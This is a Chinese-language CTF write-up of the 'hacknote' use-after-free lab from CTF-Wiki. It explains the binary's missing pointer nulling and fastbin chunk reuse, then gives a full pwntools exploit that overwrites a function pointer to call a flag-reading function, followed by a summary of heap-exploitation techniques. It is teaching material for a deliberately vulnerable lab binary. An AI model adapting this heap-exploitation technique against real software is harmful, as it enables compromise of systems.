[UAF] lab 10 hacknote

0x00 前言

百闻不如一见

  • 本文是对CTF-WIKIUse After Free的一道例题的讲解。
  • 题目链接: 题目链接

0x01 分析

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  • 32位程序,提供了4个选项。
1
2
3
4
1. Add note          
2. Delete note
3. Print note
4. Exit

add_note

  • Add_note: 程序会通过malloc(8u)申请一个chunk,这个chunk的结构如下:
prev_sizesize = 0x11
puts函数指针content指针
  • 并且程序会根据用户输入的size申请一个chunk来读入content。
prev_size | size
content(由对应note的content指针所指向,其大小由用户输入的size决定)
  • 这个函数出现了一个结构体,可以通过IDA将其还原,虽然不还原也不太影响读程序,但是还是练习一下还原结构体吧。

首先在IDA中打开Local types界面,快捷键是Shift+F1,然后按Insert插入我们识别的结构体。

1
2
3
4
struct note{
void (*myputs)();//这里是函数指针
char * content;
};

然后打开Structures界面,快捷键是Shift+F9,然后按Insert-Add standard structure,然后找到刚才我们定义的结构体note,然后确定。

然后来到add_note函数的位置,对着v0按Y,然后输入struct note * v0,确定即可还原对应结构体。

delete_note

这也是漏洞所在的函数,程序只进行了free,但没有置NULL,也就是UAF漏洞

注意一下程序进行free的顺序:先free掉content指针,然后free掉note

这个函数的功能实际上就是通过note的puts函数指针调用puts函数,如果我们把puts函数指针覆盖成程序中已经给了我们的magic函数指针,就能执行magic函数。

1
2
3
4
int magic()
{
return system("cat flag");
}

0x02 Let’s do it

思路

利用fastbins的特性FILO,添加2个content大小符合fastbins的note,然后delete(0)、delete(1),再次申请content大小为8的note,覆盖note0的puts函数指针为magic函数指针,然后通过print_note(0)来执行magic函数。

为什么要添加2个content大小符合fastbins的note?

大部分文章都说这两个note的content的size要符合fastbins,但是我在实际测试中就算这俩note的content的size不在fastbins范围内,也照样能pwn掉,而且根据这道题目利用的原理,似乎size没必要在fastbins范围内。但怕我才疏学浅,有什么遗漏或者不知道的地方,这里还是按照各位大佬们所说的来做吧。

根据我们的思路,我们的执行流程是

1
2
3
4
5
6
#size要符合fastbins的大小要求,我们这里令size = 0x20
add(0x20,'aaaa')
add(0x20,'bbbb')

delete(0)
delete(1)

执行完这些以后

1
2
3
4
5
6
7
8
9
pwndbg> fastbin
fastbins
0x10: chunk(1) —▸ chunk(0) ◂— 0x0
0x18: 0x0
0x20: 0x0
0x28: chunk(1)_content —▸ chunk(0)_content ◂— 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x0

由于fastbins的特性FILO,当我们再次申请大小为8的chunk的时候,会首先申请到chunk1,申请以后chunk1还在内存中的原位置(就是free前这个chunk在哪,申请后就在哪), 再次申请大小为8的chunk的时候,就会申请到chunk0,也在内存中的原位置。

而如果我们add_note的时候,程序固定会先malloc(8),这时候申请到的是chunk1,假如我们让这个新的note2的content的size也为8,那么就能申请到chunk0来作为新的这个chunk2content,这样就能修改里面的内容了,也就能修改掉puts函数指针为任意值了,这里当然要修改成magic函数指针了!

  • 理解了这些以后,这道题目似乎就没啥难点了,调试也比较容易,就不再放图了。

0x03 完整EXP

运行环境Ubuntu16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

c = process('./hacknote')

magic = 0x08048986

def add(size,cont):
c.recvuntil('Your choice :')
c.sendline('1')
c.recvuntil('Note size :')
c.sendline(str(size))
c.recvuntil('Content :')
c.sendline(cont)
c.recvuntil('Success !\n')

def delete(idx):
c.recvuntil('Your choice :')
c.sendline('2')
c.recvuntil('Index :')
c.sendline(str(idx))
c.recvuntil('Success\n')

def printnote(idx):
c.recvuntil('Your choice :')
c.sendline('3')
c.recvuntil('Index :')
c.sendline(str(idx))

add(0x20,'aaaa')
add(0x20,'bbbb')

delete(0)
delete(1)

add(0x08,p32(magic))

#gdb.attach(c)

printnote(0)

c.interactive()

0x04 总结

看到一个博主写的总结,感觉挺不错。

总结
off-by-one:输入或者赋值是否考虑临界情况。
利用:设置chunk大小使最后一个字节覆盖后指向的内容从不可操作到一个有意义可以操作的地址处。

Unlink:输入或者赋值的长度能够比真正的chunk更大。
利用:构造伪chunk设置后一个chunk的prev_size和flag标志,使系统执行unlink操作。执行unlink操作实现复写got表。
特点:因为验证保护,需要一个跳板才能实现任意写,这个跳板一般是bss段的数据。也就是说需要bss段本身在程序中是存有有用数据的。

use after free:free之后没有设置为NULL
利用:创建,创建,删除,创建。构造伪chunk。
特点:free之后可以继续输出。